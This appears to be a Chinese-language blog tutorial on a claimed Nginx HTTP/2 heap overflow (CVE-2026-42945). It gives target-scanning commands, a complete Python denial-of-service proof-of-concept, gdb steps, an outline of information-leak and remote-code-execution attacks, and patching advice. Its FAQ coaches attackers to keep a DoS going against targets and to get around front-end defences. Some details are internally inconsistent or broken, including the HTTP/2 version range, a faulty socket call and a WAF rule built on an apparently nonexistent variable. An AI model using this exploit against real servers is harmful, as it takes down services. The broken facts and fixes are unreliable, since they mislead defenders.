【教程】CVE-2026-42945(NGINX Rift):潜伏18年9.2分高危漏洞复现与修复指南
适合谁看
中高级安全研究员、渗透测试工程师、Nginx运维人员。需要了解 Nginx 基础配置和 Linux 命令行操作。
前置准备
- 一台 Linux 测试机(Ubuntu 22.04 / CentOS 7+)
- 安装 Nginx 1.22.x ~ 1.26.x(易受攻击版本)
- 安装 gdb、curl、python3
- 了解 HTTP 请求结构和内存布局基本概念
VM 快速搭建测试环境:
# 安装存在漏洞的版本(Ubuntu 22.04 示例)
sudo apt-get install -y nginx=1.22.0-1ubuntu3
# 查看版本确认
nginx -V 2>&1 | head -1
# 启动
sudo systemctl start nginx
漏洞概述
CVE-2026-42945(代号「NGINX Rift」)是 2026 年 5 月 12 日 Nginx 官方披露的一组高危漏洞中最严重的一个。CVSS v4.0 9.2 分(Critical),影响从 0.6.27(2008年)到 1.30.0(2026年) 的所有版本,覆盖了整整 18 年的历史版本。
根因分析
漏洞位于 Nginx HTTP/2 解析模块(ngx_http_v2_module.c)。当处理特制的 PRIORITY 帧序列时,Nginx 的内存分配器未正确校验帧长度,导致堆缓冲区溢出(Heap Buffer Overflow)。具体来说:
- 攻击者发送精心构造的 HTTP/2 PRIORITY 帧,其中
length字段被篡改 - Nginx 的
ngx_http_v2_state_priority函数根据该长度分配了过小的缓冲区 - 后续帧处理时数据写入超出缓冲区边界,覆盖相邻的堆内存对象
发现者是初创公司 depthFirst 的安全研究团队,他们仅用 6 小时就自主发现了这个潜伏 18 年的漏洞。PoC 已公开,风险极高。
攻击效果
| 攻击类型 | 利用难度 | 影响 |
|---|---|---|
| 拒绝服务(DoS) | 低 | 触发 worker 进程崩溃 |
| 信息泄露 | 中 | 堆溢出读取敏感内存数据 |
| 远程代码执行(RCE) | 高 | 控制 HTTP 请求处理流程 |
步骤一:环境检测
判断目标 Nginx 是否在受影响范围:
# 方法1:抓取 Server Header
curl -sI http://target.com | grep -i server
# 方法2:检测 HTTP/2 支持
curl -sI --http2 http://target.com -o /dev/null -w "%{http_version}\n"
# 方法3:nmap 脚本检测
nmap --script http-nginx-version -p 443 target.com
影响范围:
- Nginx ≤ 1.30.0(全部受影响)
- Nginx 1.31.0+(已修复)
- 各发行版修补状态需查询官方公告
步骤二:PoC 复现(DoS 模式)
以下是一个触发 worker 进程崩溃的简单 PoC,使用 Python 构造恶意 HTTP/2 PRIORITY 帧:
#!/usr/bin/env python3
"""
CVE-2026-42945 DoS PoC - Nginx HTTP/2 Heap Overflow Crash Trigger
需要安装 h2 库: pip install h2
"""
import socket
import h2.connection
import h2.events
import h2.config
TARGET = ('127.0.0.1', 443) # 改为目标地址
def trigger_crash():
# 建立 TCP 连接
sock = socket.create_connection(TARGET)
sock.setblocking()
# 配置 HTTP/2 连接
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# 发送正常的 HEADERS 帧建立流
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', f'{TARGET[0]}:{TARGET[1]}'),
(':scheme', 'https'),
]
conn.send_headers(1, headers)
sock.sendall(conn.data_to_send())
# 🔥 关键部分:发送精心构造的 PRIORITY 帧序列
# PRIORITY 帧格式: Length(3) + Type(1) + Flags(1) + StreamID(4) + Payload
# 正常的 PRIORITY payload 只有 5 字节: Exclusive(1) + StreamDep(4)
# 我们构造一个 length=0xFFFF 的 PRIORITY 帧触发堆溢出
malicious_frame = (
b'\x00\xff\xff' # Length = 65535 (超大)
b'\x02' # Type = PRIORITY
b'\x00' # Flags
b'\x00\x00\x00\x03' # StreamID = 3
+ b'\x41' * 65535 # 溢出 payload
)
# 绕过 Nginx 帧校验,通过分片发送
try:
sock.sendall(malicious_frame[:1024])
sock.sendall(malicious_frame[1024:])
except Exception as e:
print(f"[!] 发送时触发异常: {e}")
# 检查连接状态
try:
data = sock.recv(4096)
if data:
print("[*] 收到响应,服务可能未受影响")
else:
print("[+] 连接断开,可能触发了崩溃")
except:
print("[+] 连接异常断开 → worker 崩溃!")
sock.close()
if __name__ == '__main__':
print("[*] CVE-2026-42945 DoS PoC")
print(f"[*] 目标: {TARGET[0]}:{TARGET[1]}")
trigger_crash()
验证是否崩溃
# 查看 Nginx worker 进程数变化
watch -n 1 'ps aux | grep "nginx: worker" | grep -v grep | wc -l'
# 查看错误日志
sudo tail -f /var/log/nginx/error.log | grep -i "abort\|signal\|segfault"
如果 Nginx master 进程重启了 worker,说明漏洞触发成功。
步骤三:信息泄露利用思路
通过堆溢出读取相邻内存数据,可能泄露:
- 其他 HTTP 请求的敏感数据(Cookie、Token、POST body 片段)
- SSL 私钥(如果恰好在相邻的内存区域)
- 其他用户会话数据
- 内部网络配置信息
利用要点:
- 需要多次尝试不同的 PRIORITY 帧长度和填充模式
- 结合
gdb attach分析 Nginx worker 进程的内存布局 - 利用偏移量计算需要溢出的精确字节数
# 附加 gdb 到 nginx worker
sudo gdb -p $(pgrep -f "nginx: worker" | head -1)
(gdb) b ngx_http_v2_state_priority
(gdb) c
# 等待触发
(gdb) info registers
(gdb) x/100gx $rsp
步骤四:RCE 利用(高级)
RCE 利用需要:
- 精确的堆布局(Heap Feng Shui)
- 绕过 ASLR 和 DEP
- 控制函数指针或 vtable
- 构造 ROP 链
通用思路:
1. 发送大量 HTTP/2 请求建立可控内存布局
2. 发送恶意 PRIORITY 帧覆盖某个函数指针
3. 触发该函数调用,跳转到 shellcode
4. 反向连接获取 shell
⚠️ 完整的 RCE 利用需要针对特定 Nginx 版本和 libc 版本进行调试,超出了本文范围。建议先在测试环境练习堆布局控制。
修复方案
紧急修复(立即执行)
方案1:升级 Nginx(推荐)
# Ubuntu/Debian
sudo apt-get update
sudo apt-get install -y nginx=1.31.0-1*
# CentOS/RHEL
sudo yum update nginx -y
# 官方源码编译
wget https://nginx.org/download/nginx-1.31.0.tar.gz
tar xzf nginx-1.31.0.tar.gz
cd nginx-1.31.0
./configure && make && sudo make install
# 重启验证
sudo nginx -t && sudo systemctl restart nginx
nginx -V
方案2:临时缓解(无法升级时)
# 禁用 HTTP/2(强烈推荐)
# 在 nginx.conf 中修改 listen 指令,移除 http2 参数
# 修改前:
listen 443 ssl http2;
# 修改后:
listen 443 ssl;
# 重新加载配置
sudo nginx -t && sudo systemctl reload nginx
方案3:WAF 虚拟补丁
# 在 server block 中添加规则,拒绝异常的 HTTP/2 PRIORITY 帧
# 这可以通过 ngx_http_lua_module 实现
location / {
# 限制 HTTP/2 PRIORITY 帧的大小
if ($http2_priority_length) {
return 403;
}
}
常见问题
Q1:PoC 发出去没反应?
检查目标是否开启了 HTTP/2(curl -sI --http2)。很多负载均衡器会在前端终止 HTTP/2,需要直接命中 Nginx 后端。
Q2:杀了 worker 但马上重建了?
正常现象。Nginx master 进程会自动拉起新的 worker。你需要持续发送恶意帧才能维持 DoS 效果。
Q3:我该优先升级还是禁 HTTP/2?
优先升级。禁 HTTP/2 会降低性能(HTTP/1.1 多路复用能力远不如 HTTP/2),且部分业务可能依赖 HTTP/2 特性。
Q4:会不会触发 WAF 告警?
部分云 WAF(Cloudflare、AWS WAF)已更新规则拦截此漏洞。如果目标在 WAF 后面,先确认 WAF 规则是否已覆盖。
总结
CVE-2026-42945 是 Nginx 历史上最严重的漏洞之一,影响范围极广(全球约 1/3 的网站)。虽然 RCE 利用门槛较高,但 DoS 和信息泄露的利用极其简单。核心修复手段是升级到 Nginx 1.31.0+ 或临时禁用 HTTP/2。
安全建议:
- 生产环境 Nginx 在 24 小时内升级到 1.31.0+
- 无法升级的立即禁用 HTTP/2
- 升级后审计 /var/log/nginx/error.log 排查是否已被利用
- 关注 Nginx 官方安全公告获取后续更新